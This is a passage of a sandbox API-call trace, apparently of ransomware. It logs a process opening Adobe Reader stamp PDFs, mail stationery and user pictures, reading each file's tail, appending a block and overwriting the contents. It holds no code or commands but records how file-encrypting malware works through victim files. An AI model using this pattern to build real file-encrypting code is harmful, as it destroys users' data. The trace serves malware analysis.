lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.182] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xa731 [0032.182] ReadFile (in: hFile=0x184, lpBuffer=0x1d86078, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86078*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.182] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xa731 [0032.183] WriteFile (in: hFile=0x184, lpBuffer=0x1d86078*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d86078*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.183] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0032.183] WriteFile (in: hFile=0x184, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.183] CloseHandle (hObject=0x184) returned 1 [0032.184] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0032.187] SetFilePointer (in: hFile=0x16c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.187] SetFilePointer (in: hFile=0x16c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xe736 [0032.187] SetFilePointer (in: hFile=0x16c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.187] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.187] ReleaseMutex (hMutex=0x128) returned 1 [0032.187] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0032.187] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x1e6320c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0032.187] ReadFile (in: hFile=0x16c, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.189] SetFilePointer (in: hFile=0x16c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xd736 [0032.189] ReadFile (in: hFile=0x16c, lpBuffer=0x1d84048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.190] SetFilePointer (in: hFile=0x16c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xd736 [0032.190] WriteFile (in: hFile=0x16c, lpBuffer=0x1df0f48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df0f48*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.190] SetFilePointer (in: hFile=0x16c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0032.190] WriteFile (in: hFile=0x16c, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.191] CloseHandle (hObject=0x16c) returned 1 [0032.192] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\faces.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0032.192] SetFilePointer (in: hFile=0x16c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.192] SetFilePointer (in: hFile=0x16c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x80f5 [0032.193] SetFilePointer (in: hFile=0x16c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.193] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.193] ReleaseMutex (hMutex=0x128) returned 1 [0032.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x1e633ec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0032.193] ReadFile (in: hFile=0x16c, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.195] SetFilePointer (in: hFile=0x16c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x70f5 [0032.195] ReadFile (in: hFile=0x16c, lpBuffer=0x1d84048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.197] SetFilePointer (in: hFile=0x16c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x70f5 [0032.197] WriteFile (in: hFile=0x16c, lpBuffer=0x1df0f48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df0f48*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.198] SetFilePointer (in: hFile=0x16c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0032.198] WriteFile (in: hFile=0x16c, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.198] CloseHandle (hObject=0x16c) returned 1 [0032.199] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0032.200] SetFilePointer (in: hFile=0x16c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.200] SetFilePointer (in: hFile=0x16c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x26254 [0032.200] SetFilePointer (in: hFile=0x16c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.200] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.200] ReleaseMutex (hMutex=0x128) returned 1 [0032.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0032.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x1e78974, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0032.200] ReadFile (in: hFile=0x16c, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2b0f278*=0x8000, lpOverlapped=0x0) returned 1 [0032.202] SetFilePointer (in: hFile=0x16c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x25254 [0032.202] ReadFile (in: hFile=0x16c, lpBuffer=0x1df0e18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df0e18*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.203] SetFilePointer (in: hFile=0x16c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x25254 [0032.203] WriteFile (in: hFile=0x16c, lpBuffer=0x1d84048*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.204] SetFilePointer (in: hFile=0x16c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0032.204] WriteFile (in: hFile=0x16c, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2b0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0032.204] CloseHandle (hObject=0x16c) returned 1 [0032.206] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0032.208] SetFilePointer (in: hFile=0x16c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.208] SetFilePointer (in: hFile=0x16c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x992b [0032.208] SetFilePointer (in: hFile=0x16c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.208] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.208] ReleaseMutex (hMutex=0x128) returned 1 [0032.208] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0032.208] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x1e633ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0032.208] ReadFile (in: hFile=0x16c, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.210] SetFilePointer (in: hFile=0x16c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x892b [0032.210] ReadFile (in: hFile=0x16c, lpBuffer=0x1d84048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.210] SetFilePointer (in: hFile=0x16c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x892b [0032.211] WriteFile (in: hFile=0x16c, lpBuffer=0x1df0f48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df0f48*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.211] SetFilePointer (in: hFile=0x16c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0032.211] WriteFile (in: hFile=0x16c, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.211] CloseHandle (hObject=0x16c) returned 1 [0032.212] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\ENUtxt.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\enutxt.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0032.425] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.425] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1d9e [0032.425] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.425] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.425] ReleaseMutex (hMutex=0x128) returned 1 [0032.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ENUtxt.pdf", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0032.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ENUtxt.pdf", cchWideChar=10, lpMultiByteStr=0x1e6314c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ENUtxt.pdf", lpUsedDefaultChar=0x0) returned 10 [0032.426] ReadFile (in: hFile=0x168, lpBuffer=0x1d84e78, nNumberOfBytesToRead=0x1d9e, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesRead=0x2b0f2bc*=0x1d9e, lpOverlapped=0x0) returned 1 [0032.427] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0032.427] WriteFile (in: hFile=0x168, lpBuffer=0x1d84e78*, nNumberOfBytesToWrite=0x2326, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesWritten=0x2b0f2d0*=0x2326, lpOverlapped=0x0) returned 1 [0032.428] CloseHandle (hObject=0x168) returned 1 [0032.429] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0032.430] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.430] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x18ed [0032.430] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.430] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.430] ReleaseMutex (hMutex=0x128) returned 1 [0032.430] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OrangeCircles.jpg", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0032.430] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OrangeCircles.jpg", cchWideChar=17, lpMultiByteStr=0x1e786cc, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OrangeCircles.jpg", lpUsedDefaultChar=0x0) returned 17 [0032.430] ReadFile (in: hFile=0x168, lpBuffer=0x1d84e78, nNumberOfBytesToRead=0x18ed, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesRead=0x2b0f2bc*=0x18ed, lpOverlapped=0x0) returned 1 [0032.431] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0032.431] WriteFile (in: hFile=0x168, lpBuffer=0x25c9208*, nNumberOfBytesToWrite=0x1e75, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c9208*, lpNumberOfBytesWritten=0x2b0f2d0*=0x1e75, lpOverlapped=0x0) returned 1 [0032.432] CloseHandle (hObject=0x168) returned 1 [0032.432] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\gK21yj 9dJADRuLRuSsw.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fbwe\\gk21yj 9djadrulrussw.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0032.432] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.432] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1501a [0032.433] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.433] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.433] ReleaseMutex (hMutex=0x128) returned 1 [0032.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gK21yj 9dJADRuLRuSsw.jpg", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0032.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gK21yj 9dJADRuLRuSsw.jpg", cchWideChar=24, lpMultiByteStr=0x1e7fb7c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gK21yj 9dJADRuLRuSsw.jpg", lpUsedDefaultChar=0x0) returned 24 [0032.433] ReadFile (in: hFile=0x168, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.434] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1401a [0032.434] ReadFile (in: hFile=0x168, lpBuffer=0x1d84e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.434] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1401a [0032.434] WriteFile (in: hFile=0x168, lpBuffer=0x1d84e78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.434] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0032.434] WriteFile (in: hFile=0x168, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.434] CloseHandle (hObject=0x168) returned 1 [0032.436] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0032.439] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.439] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1906 [0032.439] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.439] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.439] ReleaseMutex (hMutex=0x128) returned 1 [0032.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GreenBubbles.jpg", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0032.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GreenBubbles.jpg", cchWideChar=16, lpMultiByteStr=0x1e78654, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GreenBubbles.jpg", lpUsedDefaultChar=0x0) returned 16 [0032.439] ReadFile (in: hFile=0x168, lpBuffer=0x1d84e78, nNumberOfBytesToRead=0x1906, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesRead=0x2b0f2bc*=0x1906, lpOverlapped=0x0) returned 1 [0032.440] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0032.441] WriteFile (in: hFile=0x168, lpBuffer=0x25c9208*, nNumberOfBytesToWrite=0x1e8e, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: 